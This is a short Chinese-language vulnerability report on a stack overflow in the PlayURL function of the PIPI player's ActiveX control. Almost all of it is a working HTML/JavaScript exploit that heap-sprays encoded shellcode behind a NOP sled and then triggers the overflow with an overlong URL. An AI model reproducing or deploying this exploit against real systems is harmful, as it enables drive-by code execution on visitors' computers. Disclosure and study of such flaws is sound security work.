漏洞详情
简要描述：
皮皮播放器是一款经典、易用、广受网友青睐的在线影视点播软件，其ActiveX控件（PIPIWebPlayer.ocx）中的PlayURL（）函数在处理URL地址时没有做有效的检测导致存在栈溢出漏洞。
详细说明：
<html>
<body>
<object classid=’clsid:A74BF134-5213-46B5-AF36-CE1888315DC7′ id="target"></object>
<script>
shellcode = unescape(
‘%uc931%ue983%ud9de%ud9ee%u2474%u5bf4%u7381%u3d13%u5e46%u8395’+
‘%ufceb%uf4e2%uaec1%u951a%u463d%ud0d5%ucd01%u9022%u4745%u1eb1’+
‘%u5e72%ucad5%u471d%udcb5%u72b6%u94d5%u77d3%u0c9e%uc291%ue19e’+
‘%u873a%u9894%u843c%u61b5%u1206%u917a%ua348%ucad5%u4719%uf3b5’+
‘%u4ab6%u1e15%u5a62%u7e5f%u5ab6%u94d5%ucfd6%ub102%u8539%u556f’+
‘%ucd59%ua51e%u86b8%u9926%u06b6%u1e52%u5a4d%u1ef3%u4e55%u9cb5’+
‘%uc6b6%u95ee%u463d%ufdd5%u1901%u636f%u105d%u6dd7%u86be%uc525’+
‘%u3855%u7786%u2e4e%u6bc6%u48b7%u6a09%u25da%uf93f%u465e%u955e’);
nops=unescape(‘%u9090%u9090’);
headersize =20;
slackspace= headersize + shellcode.length;
while(nops.length < slackspace) nops+= nops;
fillblock= nops.substring(0, slackspace);
block= nops.substring(0, nops.length- slackspace);
while( block.length+ slackspace<0x50000) block= block+ block+ fillblock;
memory=new Array();
for( counter=0; counter<200; counter++)
memory[counter]= block + shellcode;
url=”;
for( counter=0; counter<=5000; counter++)
url+=unescape("%0D%0D%0D%0D");
target.PlayURL(url);
</script>
</body>
</html>
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